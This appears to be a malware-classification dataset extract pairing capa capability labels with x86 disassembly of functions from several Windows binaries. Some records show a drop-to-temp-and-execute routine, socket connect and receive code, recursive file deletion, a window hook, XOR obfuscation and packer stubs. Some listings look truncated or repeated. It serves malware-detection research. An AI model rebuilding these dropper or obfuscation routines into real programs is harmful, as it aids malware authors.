joyce8/EMBER2024-capa huggingface dataset:
Function at 0x407010
Capabilities:
Enumerate pe sections

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
xor edx, edx
push ebx
push esi
push edi
mov ecx, dword [eax + 0x3c]
add ecx, eax
movzx eax, word [ecx + 0x14]
movzx ebx, word [ecx + 6]
add eax, 0x18
add eax, ecx
test ebx, ebx
je 0x40704e
mov edi, dword [ebp + 0xc]
mov esi, dword [eax + 0xc]
cmp edi, esi
jb 0x407046
mov ecx, dword [eax + 8]
add ecx, esi
cmp edi, ecx
jb 0x407050
inc edx
add eax, 0x28
cmp edx, ebx
jb 0x407036
xor eax, eax
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x407120
Capabilities:
Parse pe header

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov ecx, dword [ebp + 8]
mov eax, 0x5a4d
cmp word [ecx], ax
jne 0x407151
mov eax, dword [ecx + 0x3c]
add eax, ecx
cmp dword [eax], 0x4550
jne 0x407151
mov ecx, 0x10b
cmp word [eax + 0x18], cx
jne 0x407151
mov eax, 1
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x40159c
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
lea eax, [ebp - 4]
push eax
push 0
push dword [ebp + 0xc]
push dword [ebp + 8]
push 0x1000
push 0
call sub.KERNEL32.DLL_CreateThread
leave
ret 8

Function at 0x401b69
Capabilities:
Enumerate gui resources

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
cmp dword [ebp + 8], 0
je 0x401b83
push dword [ebp + 8]
push 0x401b04
call sub.USER32.DLL_EnumWindows
jmp 0x401bba
mov edi, dword [0x4030b0]
jmp 0x401bb6
mov esi, dword [edi]
call sub.KERNEL32.DLL_GetCurrentThreadId
cmp dword [edi + 8], eax
jne 0x401bb4
push 1
push dword [edi + 0xc]
call sub.USER32.DLL_EnableWindow
mov eax, edi
add eax, 8
push eax
push 0x4030b0
call fcn.00401bc0
add esp, 8
mov edi, esi
or edi, edi
jne 0x401b8b
pop edi
pop esi
pop ebp
ret 4

Function at 0x401d7c
Capabilities:
Accept command line arguments

Disassembly:
push ebp
mov ebp, esp
push ecx
push edi
call sub.KERNEL32.DLL_GetCommandLineA
mov edi, eax
cmp byte [edi], 0x22
jne 0x401db0
push 0x22
mov eax, edi
inc eax
push eax
call sub.CRTDLL.DLL_strchr
add esp, 8
mov dword [ebp - 4], eax
or eax, eax
je 0x401dcb
mov edi, eax
inc edi
jmp 0x401da8
inc edi
cmp byte [edi], 0x20
je 0x401da7
jmp 0x401dcb
inc edi
movsx eax, byte [edi]
or eax, eax
je 0x401dbc
cmp eax, 0x20
jne 0x401daf
jmp 0x401dbf
inc edi
movsx eax, byte [edi]
or eax, eax
je 0x401dcb
cmp eax, 0x20
je 0x401dbe
push 0
call sub.KERNEL32.DLL_GetModuleHandleA
push 1
push edi
push 0
push eax
call fcn.0040123c
pop edi
leave
ret
Function at 0x6b6eae
Capabilities:
Encode data using xor

Disassembly:
not eax
push ebx
jmp 0x6b65e2
shr eax, 8
jmp 0x6b647c
mov edi, esp
jmp 0x6b672d
sub eax, 0x5bc9578f
jmp 0x6b64f9
inc eax
neg eax
shl eax, 4
inc eax
add eax, 0x7754f9b1
jmp 0x6b64f2
add eax, 0x5bc9578f
jmp 0x6b64c7
push esi
mov dword [esp], edi
jmp 0x6b643c
pop ecx
jmp 0x6b64be
mov ecx, eax
jmp 0x6b6538
add eax, ecx
jmp 0x6b64b4
pop eax
jmp 0x6b6617
mov ebx, 0
sub ebx, 0x77ee5511
jmp 0x6b69a1
add ecx, 0xe788d407
sub eax, ecx
pop ecx
sub esp, 4
mov dword [esp], ecx
mov ecx, 0x2c9d6a1c
jmp 0x6b6443
push eax
jmp 0x6b67ac
push ecx
mov ecx, 0x6cdf2dd6
jmp 0x6b6984
mov esp, dword [esp]
xor ebx, ebx
push dword [ebx + eax]
mov edx, dword [esp]
push edx
jmp fcn.006b63aa
pop eax
push edx
mov edx, esp
add edx, 4
push ecx
mov ecx, 4
add edx, ecx
jmp 0x6b6b0c
mov dword [esp], ecx
push eax
jmp 0x6b6ec7
or ecx, 0x7e080184
not ecx
xchg ecx, esi
not esi
xchg ecx, esi
xor ecx, 0x92907252
mov eax, ecx
pop ecx
shl eax, 1
shr eax, 5
or eax, 0x1af77a93
jmp 0x6b63c2
add edi, edx
mov edx, dword [esp]
add esp, 4
jmp 0x6b6b8b
neg ecx
or ecx, 0x3e0dd4a1
jmp 0x6b692d
sub ebx, eax
add ebx, 0x77ee5511
jmp 0x6b69bf
xchg ebx, eax
pop ebx
push ebx
push eax
mov eax, 0x565bdf3b
neg eax
sub eax, 0x3eb294d7
neg eax
jmp 0x6b6a0b
sub eax, 0x6fbf0600
add eax, 0xbbb09712
mov ebx, eax
pop eax
sub eax, 0x671fd2e3
add eax, ebx
jmp 0x6b6a8b
add eax, 0x671fd2e3
pop ebx
sub edi, 0x610734f9
jmp 0x6b6aa4
add edi, eax
add edi, 0x610734f9
jmp 0x6b6af2
push dword [esp]
jmp 0x6b67da
pop ecx
xchg dword [esp], edx
pop esp
push edx
mov edx, 4
jmp 0x6b6954
xor edi, dword [esp]
jmp 0x6b6c12
xor dword [esp], edi
xor edi, dword [esp]
jmp 0x6b67b7
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg dword [esp], ebp
pop esp
add eax, dword [esp]
push ebp
jmp 0x6b67f1
mov eax, 0x7e1bf58c
jmp 0x6b63ca
Function at 0x402c54
Capabilities:
Create process on windows
Get common file path
Move file
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x12a68
call fcn.004055e0
push esi
push edi
lea ecx, [ebp - 0x12a68]
call fcn.00401808
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 4]
push eax
push dword [0x40a0f0]
xor esi, esi
push 0x40a0f4
lea ecx, [ebp - 0x12a68]
mov dword [ebp - 8], esi
mov dword [ebp - 4], esi
call fcn.00401e1e
lea ecx, [ebp - 0x12a68]
call fcn.00401e84
lea eax, [ebp - 0x214]
push eax
push 0x200
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea eax, [ebp - 0xc]
push 0x312
push eax
call fcn.00402af0
push dword [eax]
lea eax, [ebp - 0x214]
push eax
call sub.MSVCRT.dll_strcat
add esp, 0x10
lea ecx, [ebp - 0xc]
call sub.MFC42.DLL_CString::CString
lea eax, [ebp - 0x214]
push str..exe
push eax
call sub.MSVCRT.dll_strcat
pop ecx
pop ecx
push eax
mov eax, 0x2a7
pop eax
call dword [sym.imp.KERNEL32.dll_GetConsoleCP]
lea eax, [ebp - 0x214]
push 0x40c4fc
push eax
call dword [sym.imp.MSVCRT.dll_fopen]
mov edi, eax
cmp edi, esi
pop ecx
pop ecx
je 0x402d2b
push edi
push dword [ebp - 8]
push 1
push dword [ebp - 4]
call dword [sym.imp.MSVCRT.dll_fwrite]
push edi
call dword [sym.imp.MSVCRT.dll_fclose]
add esp, 0x14
push 0x50
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp eax, 0x30c
nop
call dword [sym.imp.MSVCRT.dll_clock]
push esi
push esi
push esi
lea eax, [ebp - 0x214]
push eax
push esi
push esi
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
push ecx
nop
mov ecx, 0x2d2
pop ecx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push 5
lea eax, [ebp - 0x214]
push eax
call dword [sym.imp.KERNEL32.dll_WinExec]
push 0x3b
call dword [sym.imp.MSVCRT.dll_ispunct]
pop ecx
push 4
push esi
lea eax, [ebp - 0x214]
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileExA]
lea ecx, [ebp - 0x12a68]
call fcn.004018b2
pop edi
mov al, 1
pop esi
leave
ret
Function at 0x404a69
Capabilities:
Delete file
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
push ebx
push esi
mov dword [ebp - 0x10], ecx
push edi
lea ecx, [ebp - 8]
xor edi, edi
call fcn.004053a6
lea ecx, [ebp - 0x2c]
call sub.MFC42.DLL_CFileFind::CFileFind
lea eax, [ebp + 8]
push eax
lea ecx, [ebp - 4]
call sub.MFC42.DLL_CString::CString_4
push 1
lea eax, [ebp - 0xc]
push eax
lea ecx, [ebp - 4]
call sub.MFC42.DLL_CString::Right
mov eax, dword [eax]
mov esi, 0x40c51c
push esi
push eax
call dword [sym.imp.MSVCRT.dll__mbscmp]
pop ecx
pop ecx
test eax, eax
lea ecx, [ebp - 0xc]
setne bl
call sub.MFC42.DLL_CString::CString
test bl, bl
je 0x404acc
push esi
lea ecx, [ebp - 4]
call sub.MFC42.DLL_CString::operator_1
push 0x40c528
lea ecx, [ebp - 4]
call sub.MFC42.DLL_CString::operator_1
push 0
push dword [ebp - 4]
lea ecx, [ebp - 0x2c]
call sub.MFC42.DLL_CFileFind::FindFile
test eax, eax
je 0x404b8e
mov esi, dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea ecx, [ebp - 0x2c]
call sub.MFC42.DLL_CFileFind::FindNextFileA
mov ebx, eax
mov eax, dword [ebp - 0x2c]
push 0x10
lea ecx, [ebp - 0x2c]
call dword [eax + 0x40]
test eax, eax
je 0x404b2d
lea ecx, [ebp - 0x2c]
call sub.MFC42.DLL_CFileFind::IsDots
test eax, eax
jne 0x404b2d
push ecx
push esp
lea ecx, [ebp - 0x2c]
call sub.MFC42.DLL_CFileFind::GetFilePath
mov ecx, dword [ebp - 0x10]
call fcn.00404a69
jmp 0x404b86
lea ecx, [ebp - 0x2c]
call sub.MFC42.DLL_CFileFind::IsDots
test eax, eax
jne 0x404b86
mov eax, dword [ebp - 0x2c]
push 0x10
lea ecx, [ebp - 0x2c]
call dword [eax + 0x40]
test eax, eax
jne 0x404b86
lea eax, [ebp - 0xc]
push eax
lea ecx, [ebp - 0x2c]
call sub.MFC42.DLL_CFileFind::GetFilePath
push eax
lea ecx, [ebp - 8]
call fcn.004053f4
lea ecx, [ebp - 0xc]
call sub.MFC42.DLL_CString::CString
push dword [ebp - 8]
call esi
test eax, eax
jne 0x404b86
and edi, 0xfffffffe
push edi
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push dword [ebp - 8]
call esi
cmp eax, 0x45c
nop
test ebx, ebx
jne 0x404af4
lea ecx, [ebp - 0x2c]
call sub.MFC42.DLL_CFileFind::Close
lea ecx, [ebp - 4]
call sub.MFC42.DLL_CString::CString
lea ecx, [ebp - 0x2c]
call fcn.0040553e
lea ecx, [ebp - 8]
call sub.MFC42.DLL_CString::CString
lea ecx, [ebp + 8]
call sub.MFC42.DLL_CString::CString
pop edi
pop esi
pop ebx
leave
ret 4
Function at 0x404bbd
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x534
mov al, byte [0x40c5c0]
mov byte [ebp - 0x534], al
push ebx
push edi
xor eax, eax
mov ecx, 0xff
lea edi, [ebp - 0x533]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
push 0x3e8
lea eax, [ebp - 0x534]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
cmp ebx, 0x63b
nop
lea eax, [ebp - 0x534]
push eax
lea ecx, [ebp - 4]
call sub.MFC42.DLL_CString::CString_2
push str..dll
push 0x40cc58
push 0x40c51c
lea eax, [ebp - 8]
push eax
call sub.MFC42.DLL_operator_2
push eax
lea eax, [ebp - 0xc]
push eax
call sub.MFC42.DLL_operator_1
push eax
lea ecx, [ebp - 4]
call sub.MFC42.DLL_CString::operator
lea ecx, [ebp - 0xc]
call sub.MFC42.DLL_CString::CString
lea ecx, [ebp - 8]
call sub.MFC42.DLL_CString::CString
lea ecx, [ebp - 0x1c]
call sub.MFC42.DLL_CFile::CFile
lea eax, [ebp - 0x134]
push eax
push dword [ebp - 4]
call sub.MFC42.DLL_CFile::GetStatus
test eax, eax
je 0x404c6d
mov bl, 1
jmp 0x404c6f
xor bl, bl
lea ecx, [ebp - 0x1c]
call fcn.00405568
lea ecx, [ebp - 4]
call sub.MFC42.DLL_CString::CString
pop edi
mov al, bl
pop ebx
leave
ret 4

Function at 0x404f37
Capabilities:
Initialize winsock library

Disassembly:
sub esp, 0x190
push esi
mov esi, ecx
and dword [esi + 4], 0
and dword [esi + 8], 0
and dword [esi + 0xc], 0
lea eax, [esp + 4]
push eax
push 0x202
mov dword [esi], 0x406908
call dword [sym.imp.WSOCK32.dll_WSAStartup]
test eax, eax
jne 0x404f6f
mov dword [esi + 0x10], 1
jmp 0x404f73
and dword [esi + 0x10], 0
mov eax, esi
pop esi
add esp, 0x190
ret

Function at 0x404fbb
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push esi
mov esi, ecx
cmp dword [esi + 8], 0
push edi
je 0x404fd0
call fcn.00405040
push dword [ebp + 8]
call dword [sym.imp.WSOCK32.dll_gethostbyname]
test eax, eax
je 0x40502e
push dword [ebp + 0xc]
mov word [ebp - 0x10], 2
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov eax, dword [eax]
mov dword [ebp - 0xc], eax
call dword [sym.imp.WSOCK32.dll_htons]
push 0
push 1
pop edi
push edi
push 2
mov word [ebp - 0xe], ax
call dword [sym.imp.WSOCK32.dll_socket]
test eax, eax
mov dword [esi + 4], eax
jbe 0x40502e
push 0x10
lea ecx, [ebp - 0x10]
push ecx
push eax
call dword [sym.imp.WSOCK32.dll_connect]
cmp eax, 0xffffffff
jne 0x405032
push dword [esi + 4]
call dword [sym.imp.WSOCK32.dll_closesocket]
and dword [esi + 4], 0
xor eax, eax
jmp 0x40503a
mov dword [esi + 0xc], edi
mov dword [esi + 8], edi
mov eax, edi
pop edi
pop esi
leave
ret 8
Function at 0x4050f4
Capabilities:
Create thread
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push esi
push edi
mov edi, ecx
lea eax, [edi + 8]
xor esi, esi
cmp dword [eax], esi
je 0x40516d
mov ecx, dword [edi + 4]
cmp ecx, esi
je 0x40516d
mov edx, dword [ebp + 0x10]
mov dword [ebp - 0xc], eax
lea eax, [ebp + 0x10]
push eax
push esi
lea eax, [ebp - 0x14]
push eax
push 0x405074
push esi
push esi
mov dword [ebp - 0x14], edx
mov dword [ebp - 0x10], ecx
mov dword [ebp - 8], esi
mov dword [ebp - 4], esi
call dword [sym.imp.KERNEL32.dll_CreateThread]
cmp eax, esi
je 0x40516d
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push esi
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [edi + 4]
call dword [sym.imp.WSOCK32.dll_recv]
push 1
pop edi
mov ebx, eax
mov dword [ebp - 8], edi
cmp dword [ebp - 4], esi
jne 0x405168
push edi
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x40515a
mov eax, ebx
pop ebx
jmp 0x405170
or eax, 0xffffffff
pop edi
pop esi
leave
ret 0xc

Function at 0x4051af
Capabilities:
Get socket status

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
push esi
push edi
push 0x104
xor edi, edi
lea eax, [ebp - 0x10c]
push edi
push eax
call sub.MSVCRT.dll_memset
mov ecx, dword [ebp - 0x10c]
mov esi, dword [ebp + 8]
add esp, 0xc
xor edx, edx
cmp ecx, edi
jbe 0x405221
lea eax, [ebp - 0x108]
cmp dword [eax], esi
je 0x4051f4
inc edx
add eax, 4
cmp edx, ecx
jb 0x4051e6
jmp 0x405221
lea eax, [ecx - 1]
cmp edx, eax
jae 0x40521a
push ebx
lea eax, [ebp + edx*4 - 0x108]
mov ecx, dword [eax + 4]
mov dword [eax], ecx
mov ecx, dword [ebp - 0x10c]
inc edx
lea ebx, [ecx - 1]
add eax, 4
cmp edx, ebx
jb 0x405203
pop ebx
dec ecx
mov dword [ebp - 0x10c], ecx
xor eax, eax
cmp ecx, edi
jbe 0x405239
lea edx, [ebp - 0x108]
cmp dword [edx], esi
je 0x405239
inc eax
add edx, 4
cmp eax, ecx
jb 0x40522d
cmp eax, ecx
jne 0x40524f
cmp ecx, 0x40
jae 0x40524f
mov dword [ebp + eax*4 - 0x108], esi
inc dword [ebp - 0x10c]
lea eax, [ebp - 8]
push eax
push edi
push edi
lea eax, [ebp - 0x10c]
push eax
push esi
mov dword [ebp - 8], edi
mov dword [ebp - 4], edi
call dword [sym.imp.WSOCK32.dll_select]
neg eax
sbb eax, eax
pop edi
inc eax
pop esi
leave
ret 4
Function at 0x4016af
Capabilities:
Get geographical location

Disassembly:
push ebp
lea ebp, [esp - 0x78]
sub esp, 0x451d56
mov eax, dword [0x451b76]
push esi
mov dword [ebp + 0x74], eax
mov esi, ecx
call fcn.0040ffb1
mov eax, 0x451b49
push 0x451fab
mov dword [esi + 8], eax
mov dword [esi + 4], eax
lea eax, [ebp - 0x20]
push 0
push eax
mov dword [esi], 0x3c
mov byte [esi + 0xc], 0
call fcn.004104b9
add esp, 0xc
lea eax, [ebp - 0x20]
push eax
mov dword [ebp - 0x20], 0x94
call dword [sym.imp.GDI32.dll_OffsetViewportOrgEx]
cmp dword [ebp - 0x10], 2
jne 0x40175e
cmp dword [ebp - 0x1c], 5
jb 0x401788
jmp 0x40173e
test ebx, ebx
mov dword [esp + 0x14], 0
jne 0x4016e6
mov eax, dword [esp + 0x20]
push eax
call dword [sym.imp.ole32.dll_StringFromGUID2]
int3
int3
mov esi, ecx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
test eax, eax
je 0x401759
mov ecx, dword [0x4515b4]
cmp dword [ecx], eax
jne 0x4017d6
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
mov dword [esi], eax
mov eax, esi
mov al, byte [eax]
adc byte [edi], cl
mov eax, dword [eax]
adc byte [edx], ch
mov eax, dword [eax]
adc ah, cl
int3
xor eax, eax
inc eax
ret

Function at 0x401c00
Capabilities:
Create directory
Get thread local storage value

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x451456
push ebx
Function at 0x401c0d
Capabilities:
Create directory
Get thread local storage value

Disassembly:
fidiv dword [esp]
add esp, 0x3c
ret
and al, 0x83
les edi, [ebx + eax*8]
fld qword [0x10022d40]
pop edi
pop esi
add esp, 0x3c
ret
push ebp
push esi
mov ebx, ecx
mov eax, dword [ebx + 0x14]
xor esi, esi
cmp eax, esi
push edi
jne 0x401bed
xor eax, eax
mov eax, dword [esp + 8]
push 0x4515f9
push eax
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
add esp, 8
test eax, eax
jne 0x401c4a
ret
add esp, 4
xor eax, eax
test edx, edx
je 0x401bef
push edi
mov dword [esp + 0xc], 0
mov ecx, dword [edi]
push edi
call dword [ecx + 8]
test eax, eax
jl 0x401c6c
mov eax, dword [esp + 8]
test eax, eax
jbe 0x401c41
push ebx
mov ebx, eax
shl eax, 3
push eax
call fcn.0040f4b8
mov esi, eax
add esp, 4
mov dword [esp + 0x10], esi
test esi, esi
mov dword [esp + 0x1c], 0
je 0x401cf2
push 0x451892
push ebx
push eax
mov eax, dword [0x4519fb]
call fcn.0040c684
add esp, 8
cmp eax, 0xffffffff
je 0x401d0e
mov ecx, dword [esp + 0xc]
push ecx
call dword [sym.imp.KERNEL32.dll_GetCPInfo]
add esp, 4
mov esi, eax
mov edi, edx
call dword [sym.imp.GDI32.dll_GetTextExtentPoint32W]
test eax, eax
je 0x401c65
pop edi
xor eax, eax
pop esi
add esp, 0xc
ret
call edi
test eax, eax
je 0x401d6b
pop edi
pop esi
pop ebp
push edx
call fcn.0040c4dd
add esp, 8
cmp eax, 0xffffffff
jne 0x401d77
xor eax, eax
add esp, 8
ret
lea eax, [esp + 0xc]
push 1
push eax
mov eax, dword [0x45187e]
call fcn.00406369
add esp, 8
cmp eax, 0xffffffff
cmp ecx, dword [0x451164]
je 0x401e07
mov eax, dword [0x451003]
cmp eax, edi
jne 0x401d82
push 0x451f4f
call dword [sym.imp.USER32.dll_SetWindowsHookExW]
add esp, 4
mov dword [0x451f9f], eax
push eax
push esi
mov dword [esp + 0x18], esi
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
mov esi, eax
add esp, 8
test esi, esi
mov edi, 0x4519c3
je 0x401e07
mov eax, dword [esi + 4]
cmp eax, dword [str._adjust_f]
int3
int3
Function at 0x403147
Capabilities:
Packed with generic packer

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
push ebx
push esi
push edi
mov dword [ebp - 0x1c], 0x400170
add edi, dword [ebp - 0x14]
or edi, ecx
jne 0x40316a
sub ebx, edi
and dword [ebp - 0x14], ecx
lea esi, [eax + edi - 0x535f5a54]
push dword [ebp - 0x20]
add edi, dword [ebp - 0x28]
push dword [ebp - 0x1c]
add esi, dword [ebp - 0x24]
mov dword [ebp - 0xc], 0x4003e8
add edi, dword [ebp - 0x1c]
add esp, 8
push edx
mov ebx, dword [ebp - 0x28]
mov byte [ebp - 0x28], 0x38
push edx
inc ebx
or ebx, eax
jae 0x4031a1
shr esi, 5
mov dword [ebp - 0x20], 0x400134
add ebx, 0x6ab9
push dword [ebp - 0xc]
push esi
add esp, 0xc
push ecx
push ebx
push dword [ebp - 0xc]
mov dword [ebp - 0x24], 0x4000f8
push edx
add ebx, dword [ebp - 0x18]
mov byte [ebp - 0x10], 0xbc
cmp ebx, 0x1b4
jne 0x4031cc
or edi, eax
and ebx, ecx
mov byte [ebp - 8], 0x60
add esp, 0xc
mov edx, dword [ebp + 4]
mov dword [ebp - 0x34], edx
push dword [ebp - 0xc]
mov byte [ebp - 0x24], 0x84
add esp, 4
xor ecx, ecx
xor dword [ebp - 0x1c], ecx
push edi
add esp, 4
mov edx, ebp
mov dword [ebp - 0x10], 0x400204
push dword [ebp - 0xc]
mov dword [ebp - 0x24], edi
push eax
add esp, 8
add ecx, 8
mov dword [ebp - 0x1c], eax
add ecx, edx
push esi
push dword [ebp - 0x1c]
test esi, ecx
jbe 0x403217
mov dword [ebp - 0x18], ecx
lea ebx, [edx - 0x1e8f91c4]
mov esi, dword [ebp - 0x1c]
dec esi
add esp, 8
mov edx, dword [ecx]
push dword [ebp - 0x2c]
lea esi, [eax + edi*8 + 0x6d80b8e6]
add esp, 4
mov ecx, 0
mov edi, dword [ebp - 0xc]
add ecx, 0xffd097f9
test esi, edx
jb 0x403240
lea edi, [esi + ecx*2 + 0x40]
add dword [ebp - 0x28], eax
add edx, ecx
push edx
add esp, 4
push 0xffef6807
push dword [ebp - 0x30]
xor ebx, eax
je 0x403259
mov byte [ebp - 0x28], 0xc0
push edi
xor esi, edi
je 0x403268
mov dword [ebp - 0x2c], 0x40018c
mov ebx, dword [ebp - 0x20]
add esp, 8
pop ecx
mov esi, dword [ebp - 0x28]
add edx, ecx
add esi, dword [ebp - 0x1c]
or dword [ebp - 0x28], edx
mov esi, dword [ebp - 0x28]
test ebx, esi
jne 0x403284
mov byte [ebp - 0x1c], 0xcc
sub ebx, edi
add edx, dword [ebp - 0x34]
add esi, dword [ebp - 0x10]
mov dword [ebp - 0x28], 0x400264
push esi
cmp ebx, esi
jb 0x40329e
mov edi, dword [ebp - 0x24]
shl edi, 6
or ebx, edi
push dword [ebp - 0x20]
add esp, 8
mov ecx, 4
test edi, edx
jae 0x4032b3
mov ebx, dword [ebp - 0x24]
mov esi, dword [ebp - 0x10]
lea esi, [edx + esi + 0x5d]
mov dword [ebp - 0x1c], 0x4003dc
cmp ebx, 0x6c
jbe 0x4032c7
shr edi, 1
dec edi
add ecx, ebp
push dword [ebp - 0x2c]
push ebx
cmp edi, 0x320
jbe 0x4032da
jmp 0x4846fb
push dword [ebp - 0xc]
add esp, 0xc
mov dword [ecx], edx
xor edi, eax
push dword [ebp - 0x10]
sub dword [ebp - 0x14], ecx
inc edi
add esp, 4
pop ecx
add ebx, dword [ebp - 0x1c]
push edx
add ebx, 0x5c04
add dword [ebp - 0x20], ecx
push dword [ebp - 0x1c]
mov dword [ebp - 0xc], edi
add esp, 8
pop edx
pop edi
pop esi
pop ebx
leave
ret 0x10

Function at 0x403c57
Capabilities:
Packed with generic packer

Disassembly:
push ebp
push dword [esp + 4]
push 0x400715
push ebx
jmp loc.004848d6
Function at 0x403d74
Capabilities:
Query or enumerate registry key

Disassembly:
push ecx
push 0xffffffffffffffc9
push fcn.00404f50
push dword [esp - 0xc6]
push 0xffffffffffffffce
call 0x403d9a
sub esp, 8
mov ecx, dword [esp + 0x10]
xor eax, eax
mov dword [esp + 4], eax
mov dword [esp], eax
lea esp, [esp + 0x14]
mov ecx, dword [esp + 8]
push 0xffffffffffffffef
push dword [esp + 0x50]
push 0x403228
call 0x403dcb
lea edx, [esp + 0x24]
push edx
push eax
mov ecx, esi
mov byte [esp + 0x264], 1
call fcn.0040bb39
lea eax, [esp + 0x24]
lea esp, [esp + 0x10]
add dword [esp + 4], ecx
push dword [esp - 0x1e]
push esp
push dword [esp - 0x54]
push ebp
push 0x403230
call 0x403dfc
call fcn.0040c5ed
mov eax, dword [0x4515e1]
mov ecx, dword [eax]
inc ecx
mov dword [eax], ecx
mov eax, dword [0x451ec6]
push ecx
lea esp, [esp + 0x18]
pop ecx
ret 4

Function at 0x403d9a
Capabilities:
Query or enumerate registry key

Disassembly:
push ecx
push 0xffffffffffffffc9
push fcn.00404f50
push dword [esp - 0xc6]
push 0xffffffffffffffce
call 0x403d9a
sub esp, 8
mov ecx, dword [esp + 0x10]
xor eax, eax
mov dword [esp + 4], eax
mov dword [esp], eax
lea esp, [esp + 0x14]
mov ecx, dword [esp + 8]
push 0xffffffffffffffef
push dword [esp + 0x50]
push 0x403228
call 0x403dcb
lea edx, [esp + 0x24]
push edx
push eax
mov ecx, esi
mov byte [esp + 0x264], 1
call fcn.0040bb39
lea eax, [esp + 0x24]
lea esp, [esp + 0x10]
add dword [esp + 4], ecx
push dword [esp - 0x1e]
push esp
push dword [esp - 0x54]
push ebp
push 0x403230
call 0x403dfc
call fcn.0040c5ed
mov eax, dword [0x4515e1]
mov ecx, dword [eax]
inc ecx
mov dword [eax], ecx
mov eax, dword [0x451ec6]
push ecx
lea esp, [esp + 0x18]
pop ecx
ret 4

Function at 0x403dcb
Capabilities:
Query or enumerate registry key

Disassembly:
push ecx
push 0xffffffffffffffc9
push fcn.00404f50
push dword [esp - 0xc6]
push 0xffffffffffffffce
call 0x403d9a
sub esp, 8
mov ecx, dword [esp + 0x10]
xor eax, eax
mov dword [esp + 4], eax
mov dword [esp], eax
lea esp, [esp + 0x14]
mov ecx, dword [esp + 8]
push 0xffffffffffffffef
push dword [esp + 0x50]
push 0x403228
call 0x403dcb
lea edx, [esp + 0x24]
push edx
push eax
mov ecx, esi
mov byte [esp + 0x264], 1
call fcn.0040bb39
lea eax, [esp + 0x24]
lea esp, [esp + 0x10]
add dword [esp + 4], ecx
push dword [esp - 0x1e]
push esp
push dword [esp - 0x54]
push ebp
push 0x403230
call 0x403dfc
call fcn.0040c5ed
mov eax, dword [0x4515e1]
mov ecx, dword [eax]
inc ecx
mov dword [eax], ecx
mov eax, dword [0x451ec6]
push ecx
lea esp, [esp + 0x18]
pop ecx
ret 4